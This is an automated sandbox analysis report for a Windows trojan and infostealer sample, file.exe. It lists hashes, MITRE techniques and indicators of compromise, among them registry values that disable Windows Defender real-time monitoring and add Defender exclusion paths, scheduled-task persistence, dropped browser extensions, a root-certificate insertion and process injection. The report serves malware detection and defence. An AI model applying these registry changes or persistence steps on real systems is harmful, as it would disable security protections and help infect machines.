a9f8fc323b93d0e5084212c62e9ab102668d6ece874096178d0386e58de98919

Analysis

max time kernel
151s
max time network
154s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
10/10/2022, 16:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

456fbfc6882e5cd43c664e82cab46161
SHA1

0925b9f40a180a9bcfbb0fc0de13bce972b1dec2
SHA256

a9f8fc323b93d0e5084212c62e9ab102668d6ece874096178d0386e58de98919
SHA512

a8aa84c973c62c38a5a3bbda0db5fa1ac99f25d3c2a8982315efdec16da7ac7b8df78e5f9d372dca68ff9da27df641d3156d14d128d2b9fc483f48e950c6fe4c
SSDEEP

196608:91OJjvoHCZOQSreJVQK3Q10nmb0F4Nvdk83AzOE4XsFiIZ3Fu0qvZgO:3OJk+Kre/QtbpvdkB4Xso8FuJgO

Score

10^/10

evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OyGyVqLCXKUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\aazYDpmAU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BcQBYHwmLrIU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\DkvxDxdJRMKKbbPFPtR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\DqqpsCessXFqdFpq = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RXXjOxYqdtOKwXVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OyGyVqLCXKUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\DqqpsCessXFqdFpq = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\aazYDpmAU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\DqqpsCessXFqdFpq = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BcQBYHwmLrIU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\DkvxDxdJRMKKbbPFPtR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\xaLEnBzGCyciC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\DqqpsCessXFqdFpq = "0"	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\xaLEnBzGCyciC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RXXjOxYqdtOKwXVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	Process not Found

Executes dropped EXE 4 IoCs

pid	Process
1276	Install.exe
320	Install.exe
904	pqBhmrR.exe
1412	JWXGzEb.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
1448	file.exe
1276	Install.exe
1276	Install.exe
1276	Install.exe
1276	Install.exe
320	Install.exe
320	Install.exe
320	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops Chrome extension 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	JWXGzEb.exe

Drops file in System32 directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	pqBhmrR.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_D4DDF242A8972F898C0FE0D6EA6919E3	JWXGzEb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_D4DDF242A8972F898C0FE0D6EA6919E3	JWXGzEb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	JWXGzEb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	JWXGzEb.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	JWXGzEb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	JWXGzEb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	JWXGzEb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	JWXGzEb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	JWXGzEb.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	pqBhmrR.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	pqBhmrR.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\aazYDpmAU\kZjjKj.dll	JWXGzEb.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	JWXGzEb.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	JWXGzEb.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	JWXGzEb.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	JWXGzEb.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bFmTPRIbFUTpbCJKKp.job	schtasks.exe
File created	C:\Windows\Tasks\IwUIDUlWwCCaleROq.job	schtasks.exe
File created	C:\Windows\Tasks\yQJFyOflsJsySqW.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
976	schtasks.exe
568	schtasks.exe
1916	schtasks.exe
1412	schtasks.exe
632	schtasks.exe
1180	schtasks.exe
1924	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	JWXGzEb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-73-e8-57-79-14\WpadDecisionTime = 903ec1f1c1dcd801	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	JWXGzEb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	JWXGzEb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	JWXGzEb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	JWXGzEb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E40D6DCF-AA0D-4639-B6A3-557E0A95356A}\WpadNetworkName = "Network 2"	JWXGzEb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-73-e8-57-79-14\WpadDecision = "0"	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0017000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E40D6DCF-AA0D-4639-B6A3-557E0A95356A}	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	JWXGzEb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	JWXGzEb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E40D6DCF-AA0D-4639-B6A3-557E0A95356A}\WpadDecisionTime = 903ec1f1c1dcd801	JWXGzEb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E40D6DCF-AA0D-4639-B6A3-557E0A95356A}\WpadDecision = "0"	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-73-e8-57-79-14	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	JWXGzEb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E40D6DCF-AA0D-4639-B6A3-557E0A95356A}\WpadDecisionReason = "1"	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	JWXGzEb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	JWXGzEb.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	JWXGzEb.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	JWXGzEb.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1648	powershell.EXE
1648	powershell.EXE
1648	powershell.EXE
1832	powershell.EXE
1832	powershell.EXE
1832	powershell.EXE
1892	powershell.EXE
1892	powershell.EXE
1892	powershell.EXE
1160	powershell.EXE
1160	powershell.EXE
1160	powershell.EXE
1412	JWXGzEb.exe
1412	JWXGzEb.exe
1412	JWXGzEb.exe
1412	JWXGzEb.exe
1412	JWXGzEb.exe
1412	JWXGzEb.exe
1412	JWXGzEb.exe
1412	JWXGzEb.exe
1412	JWXGzEb.exe
1412	JWXGzEb.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1648	powershell.EXE
Token: SeDebugPrivilege	1832	powershell.EXE
Token: SeDebugPrivilege	1892	powershell.EXE
Token: SeDebugPrivilege	1160	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1448 wrote to memory of 1276	1448	file.exe	27
PID 1448 wrote to memory of 1276	1448	file.exe	27
PID 1448 wrote to memory of 1276	1448	file.exe	27
PID 1448 wrote to memory of 1276	1448	file.exe	27
PID 1448 wrote to memory of 1276	1448	file.exe	27
PID 1448 wrote to memory of 1276	1448	file.exe	27
PID 1448 wrote to memory of 1276	1448	file.exe	27
PID 1276 wrote to memory of 320	1276	Install.exe	28
PID 1276 wrote to memory of 320	1276	Install.exe	28
PID 1276 wrote to memory of 320	1276	Install.exe	28
PID 1276 wrote to memory of 320	1276	Install.exe	28
PID 1276 wrote to memory of 320	1276	Install.exe	28
PID 1276 wrote to memory of 320	1276	Install.exe	28
PID 1276 wrote to memory of 320	1276	Install.exe	28
PID 320 wrote to memory of 1092	320	Install.exe	30
PID 320 wrote to memory of 1092	320	Install.exe	30
PID 320 wrote to memory of 1092	320	Install.exe	30
PID 320 wrote to memory of 1092	320	Install.exe	30
PID 320 wrote to memory of 1092	320	Install.exe	30
PID 320 wrote to memory of 1092	320	Install.exe	30
PID 320 wrote to memory of 1092	320	Install.exe	30
PID 320 wrote to memory of 360	320	Install.exe	32
PID 320 wrote to memory of 360	320	Install.exe	32
PID 320 wrote to memory of 360	320	Install.exe	32
PID 320 wrote to memory of 360	320	Install.exe	32
PID 320 wrote to memory of 360	320	Install.exe	32
PID 320 wrote to memory of 360	320	Install.exe	32
PID 320 wrote to memory of 360	320	Install.exe	32
PID 1092 wrote to memory of 1924	1092	forfiles.exe	34
PID 1092 wrote to memory of 1924	1092	forfiles.exe	34
PID 1092 wrote to memory of 1924	1092	forfiles.exe	34
PID 1092 wrote to memory of 1924	1092	forfiles.exe	34
PID 1092 wrote to memory of 1924	1092	forfiles.exe	34
PID 1092 wrote to memory of 1924	1092	forfiles.exe	34
PID 1092 wrote to memory of 1924	1092	forfiles.exe	34
PID 360 wrote to memory of 772	360	forfiles.exe	35
PID 360 wrote to memory of 772	360	forfiles.exe	35
PID 360 wrote to memory of 772	360	forfiles.exe	35
PID 360 wrote to memory of 772	360	forfiles.exe	35
PID 360 wrote to memory of 772	360	forfiles.exe	35
PID 360 wrote to memory of 772	360	forfiles.exe	35
PID 360 wrote to memory of 772	360	forfiles.exe	35
PID 1924 wrote to memory of 1540	1924	cmd.exe	36
PID 1924 wrote to memory of 1540	1924	cmd.exe	36
PID 1924 wrote to memory of 1540	1924	cmd.exe	36
PID 1924 wrote to memory of 1540	1924	cmd.exe	36
PID 1924 wrote to memory of 1540	1924	cmd.exe	36
PID 1924 wrote to memory of 1540	1924	cmd.exe	36
PID 1924 wrote to memory of 1540	1924	cmd.exe	36
PID 772 wrote to memory of 1636	772	cmd.exe	37
PID 772 wrote to memory of 1636	772	cmd.exe	37
PID 772 wrote to memory of 1636	772	cmd.exe	37
